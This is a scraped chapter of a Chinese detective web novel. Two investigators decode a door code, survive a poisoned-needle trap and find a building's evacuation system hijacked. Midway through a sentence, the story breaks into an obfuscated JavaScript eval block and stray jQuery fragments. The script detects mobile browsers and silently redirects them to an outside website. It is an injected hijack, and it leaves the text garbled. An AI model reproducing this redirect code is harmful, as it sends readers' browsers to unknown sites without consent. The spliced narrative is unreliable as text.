第92章 消防密码·电子锁陷阱

作品:《我在都市逆天破案

    陈骁的指尖还悬在主机缓存画面的边缘,那串“198”映在屏幕反光里,像一道没算完的公式。他没再往下点,合上终端,起身时顺手把钢笔插回内袋。沈昭站在档案桌旁,手里捏着一页复印的工人名单,目光死死钉在“周”姓的两个名字上,指节捏得发白。


    “走。”陈骁说。


    两人没再多话,快步穿过技术科走廊,乘电梯直下地下二层。ZMY-9隔离病房藏在旧楼东翼尽头,消防通道门嵌在混凝土墙里,刷着暗红色防锈漆。门框上贴了张纸质标签:“非紧急情况禁止开启”,字迹早就褪色发黄。


    陈骁从背包里掏出警用终端,调出招标会录像。画面里周慕云坐在会议桌主位,西装笔挺,右手边搁着一只白瓷茶杯。他讲到一半,忽然顿住,杯底不轻不重敲了六下桌面。


    陈骁把视频放慢三倍,一帧一帧看。


    第一下,停了一秒——“1”


    第二下,隔得稍长——“9”


    第三、第四下几乎连着——“8-8”


    第五下短促——“1”


    第六下轻轻收住——“2”


    节奏和“198812”半点不差。


    他抬头看向门锁面板,六位数字输入区下面印着一行小字:“权限验证通过后自动解锁”。系统没报风险,但他手指在输入键上方悬停片刻,低声对沈昭说:“退后五步。”


    沈昭没应声,但也没动。


    陈骁戴上战术手套,用指腹慢慢按下第一个数字。


    “1”——面板绿灯闪了一下。


    第二下:“9”——绿灯又闪。


    第三下:“8”——还是正常。


    第四下:“8”——绿灯常亮,没灭。


    第五下:“1”——锁芯里传来细微的齿轮咬合声。


    第六下:“2”——


    “滴。”


    绿灯没灭,反而转成常亮。


    陈骁刚要推门,锁孔边缘突然弹出一根细得像头发丝的钢针,直朝他手腕扎来。他反应极快,侧手一让,钢笔从袖口滑落,正好挡在针尖前,“叮”一声轻响。


    钢针卡进笔身的凹槽里,针尖离皮肤不到半厘米。


    沈昭一步抢上前,解剖镊子从衣袋闪出,精准夹住钢针中段,轻轻一抽,整根拔出。她迅速把针封进证物袋,凑近闻了闻,眉头一紧。


    “河豚毒素。”她说,“不是工业合成的,是天然提取,纯度很高。”


    陈骁没接话,只盯着门锁。他用警用封条把锁孔整个贴住,又把钢笔横**锁缝,卡死内部机械,防它再来一次。沈昭蹲下身,检查门框底部的感应条,发现表面沾了层极薄的油渍。


    “不是日常维护。”她低声说,“有人最近动过。”


    陈骁重新打开终端,尝试接入门控系统。信号刚发出去,界面就跳提示:“权限已验证,通道状态由主控中心远程管理。”他切了备用协议,强行读本地日志,却发现最近一次操作记录被清空了,只留了一行系统自动生成的备注:“消防通道逻辑反转,执行时间:即时。”


    他抬头看头顶的应急灯。


    原本指向左边的绿色“安全出口”标识,闪了几下,然后慢慢转动,箭头调了个头,指向右边走廊。


    “不对。”沈昭站起身,“这边是设备间,没路出去。”


    陈骁立刻冲进最近的楼梯间,推开防火门。楼道里应急灯全亮,但所有指示牌都指着反方向。他掏出手机,信号满格,却连不上内网。电梯面板显示“系统维护”,楼梯扶手上新贴了荧光条,曲曲折折引向地下三层。


    “他们在引我们走特定路线。”他说。


    沈昭迅速从解剖箱夹层取出便携信号检测仪,开机后屏幕跳了几下,显出建筑内部的无线信号分布图。主控信号源在地下四层,但多个中继点分布在二、三、四层的走廊节点。


    “不是断电。”她盯着波形,“是系统被劫持了。备用电源在转,但逃生逻辑被重写了。”


    陈骁回头看向ZMY-9的消防门。门锁虽没开,但系统提示“权限验证通过”。他突然意识到什么,调出终端里的建筑图纸,对比信号分布和通风管道走向。


    “他们不是防我们进来。”他说,“他们是等我们进来之后,把我们关在里面。”


    话音未落,整栋楼的灯啪地全灭了。


    应急灯瞬间亮起,但绿色出口标识全部反转,走廊、楼梯、转角处的箭头齐刷刷调头,指向原本的死路。通风系统停了,空气一下子沉滞起来。远处传来几声金属碰撞的闷响,像是管道在收缩。


    陈迅靠墙站定,背对沈昭,右手按住腰间战术手电。他没开灯,用终端扫描周围信号强度。检测仪显示,整栋楼的无线网络正被分段隔离,他们这块区域已被单独切了出来。


    “主控系统在分区域封锁。”沈昭低声说,“我们在被压缩活动范围。”


    陈骁盯着门锁上的钢笔。笔身还在微微震动,像是锁芯内部有电流通过。他突然伸手抽出笔,迅速用封


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289432|181008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    条缠死锁孔,再把笔横卡在门把手下面,做成个简易阻隔。


    “他想让我们推门。”他说,“但门后可能根本不是走廊。”


    沈昭没反驳。她蹲下身,从证物袋里取出那根钢针,在应急灯下细看。针体中段有一圈极细的刻痕,像是控制毒素释放用的。她忽然抬头。


    “这针不是随机触发的。”她说,“它只对特定输入节奏有反应。周慕云知道我们会看录像,知道我们会学他敲杯子的节奏。这是验证,也是筛选。”


    陈骁盯着她。


    “他要确认的是——我们到底懂不懂密码的来历。”沈昭声音压得很低,“198812不只是一串数字。它是沉船案的死亡人数,是被抹掉的名字,是系统外的真相。他设这个陷阱,不是为了杀我们,是为了试探我们‘知不知情’。”


    陈骁沉默片刻,忽然弯腰,从战术靴内侧抽出一把短刃,刀背薄而锋利。他将刀尖**门缝,轻轻一撬,门缝扩开不到一厘米。


    没有声音。


    没有气流。


    什么都没有。


    他收回刀,用终端摄像头对准缝隙,调成红外模式。画面里,门外是一片均匀的低温区,不像有人,也不像通风正常。


    “后面是封闭空间。”他说,“要么……是夹层。”


    沈昭站起身,把检测仪贴在门板上。屏幕波形跳了几下,显出背后的结构轮廓——门后不是走廊,而是一道垂直向下的竖井,深超过十米,井底有微弱热源。


    “不是通道。”她说,“是陷阱入口。”


    陈骁收起终端,靠墙坐下,手电搁在脚边,没开。黑暗里,只有检测仪屏幕还发着幽蓝的光。沈昭站在他身旁,手指轻轻搭在解剖箱提手上。


    “现在怎么办?”她问。


    “等。”他说,“他们不会让我们一直待在这儿。要么有人来‘救’,要么系统会给我们指一条‘对’的路。”


    沈昭没再说话。她低头看着证物袋里的钢针,忽然发现针尾有一道几乎看不见的编码刻痕。她凑近应急灯,眯起眼。


    那是六个极小的数字:198812。


    和密码一样。


    她刚要开口,整条走廊的应急灯同时熄灭了。


    黑暗彻底吞没一切。


    手电没开,终端屏幕黑着,检测仪的光也没了。只有门外竖井深处,传来一声极轻的机械运转声,像是某种锁扣松开了。


    陈骁的手已经按在刀柄上。


    沈昭屏住呼吸,手指缓缓收紧。